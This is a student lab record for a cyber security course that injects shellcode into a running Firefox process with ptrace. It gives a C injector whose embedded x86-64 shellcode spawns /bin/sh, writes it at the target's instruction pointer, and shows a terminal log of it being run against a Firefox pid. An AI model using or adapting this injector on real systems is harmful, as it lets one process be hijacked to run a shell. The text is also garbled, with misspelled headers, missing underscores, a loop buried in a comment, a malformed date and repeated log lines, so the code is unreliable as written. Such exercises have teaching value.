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Ex. No.: 5 Date:10.09.20204

PROCESS CODE INJECTION

Aim:

To do process code injection on Firefox using ptrace system call.

Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE DETACH

Output: injector.c

program:

```
# include <stdio.h>//C standard input output
# include <stdib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs

//The shellcode that calls /bin/sh char
shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};

//header for our program.
void header()
```

```
printf("----Memory bytecode injector-----
n";
                                                                    CSE(Cyber Security)
                                                                    2nd year
}
//main program notice we take command line options
int main(int argc,char**argv)
{
       int i,size,pid=0;
       struct user_regs_struct reg;//struct that gives access to registers
                        //note that this regs will be in x64 for me
                        //unless your using 32bit then eip,eax,edx etc...
       char*buff;
       header();
       //we get the command line options and assign them appropriately!
  pid=atoi(argv[1]);
  size=sizeof(shellcode);
                               //allocate a
char size memory
                               //fill the buff
  buff=(char*)malloc(size);
memory with 0s upto size
 memset(buff,0x0,size);
       //copy shellcode from source to destination
       memcpy(buff,shellcode,sizeof(shellcode));
       //attach process of pid
       ptrace(PTRACE ATTACH,pid,0,0);
 //wait for child to change state
  wait((int*)0);
       //get process pid registers i.e Copy the process pid's general-purpose
       //or floating-point registers, respectively,
       //to the address reg in the tracer
       ptrace(PTRACE GETREGS,pid,0,&reg);
       printf("Writing EIP 0x%x, process %d\n",reg.rip,pid);
 //Copy the word data to the address buff in the process's memory for(i=0;i<size;i++){
       ptrace(PTRACE POKETEXT,pid,reg.rip+i,*(int*)(buff+i));
}
  //detach from the process and free buff memory
```

```
ptrace(PTRACE_DETACH,pid,0,0);
free(buff);
    return 0;
}

[Student@kali)-[~]
    sgcc victim.c

[student@kali)-[~]
    sgcc victim

[student@kali)-[~]
    sgcc injector.c -o injector

[student@kali)-[~]
    sgc injector.c -o injector

[student@kali)-[~]
    sps -e| grep firefox
    2913 ? 00:08:29 firefox-esr

[student@kali)-[~]
    s./injector 2913

----Memory bytecode injector-----
Writing EIP 0x5eb1947f, process 2913

[student@kali)-[~]
    sgc victim.c

[student@kali]-[~]
    sgc victim.c

[student@kali]-[~]
    sgc victim.c

[student@kali]-[~]
    sgc victim.c

[student@kali]-[~]
    sgc victim.c

[student@kali]-[~]

[student@kali]-[~]

[student@kali]-[~]

[student@kali]-[~]
```

Result: Thus, the process code injection on Firefox has been successfully executed.